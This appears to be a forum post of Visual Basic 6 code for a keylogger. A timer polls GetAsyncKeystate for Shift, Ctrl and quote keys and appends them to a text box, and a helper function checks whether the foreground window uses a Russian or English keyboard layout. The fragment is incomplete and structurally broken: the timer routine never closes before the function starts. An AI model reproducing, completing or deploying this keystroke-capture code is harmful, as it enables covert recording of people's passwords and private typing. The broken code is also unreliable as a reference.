Private Sub Timer1_Timer()
Dim keystate As Long
Dim Shift As Long
Shift = GetAsyncKeystate(vbKeyShift)
If (Shift And &H1) = &H1 Then
Text1 = Text1 + " {Shift} "
End If
keystate = GetAsyncKeystate(vbKeyControl)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + " {Ctrl} "
End If
keystate = GetAsyncKeystate(&HDE)
If (RUKEYSON = False And Shift = 0) And (keystate And &H1) = &H1 Then
Text1 = Text1 + "'"
End If
If (RUKEYSON = False And Shift <> 0) And (keystate And &H1) = &H1 Then
Text1 = Text1 + Chr(34)
End If
Public Function RUKEYSON() As Boolean
Dim hAppWnd As Long
Dim ThreadID As Long
Dim ThreadLayout As Long
hAppWnd = GetForegroundWindow
ThreadID = GetWindowThreadProcessId(hAppWnd, ByVal 0&)
ThreadLayout = GetKeyboardLayout(ThreadID)
If ThreadLayout = 67699721 Then
RUKEYSON = False
ElseIf ThreadLayout = 68748313 Then
RUKEYSON = True
End If
End Function
Сейчас этот форум просматривают: Google-бот, Yandex-бот и гости: 28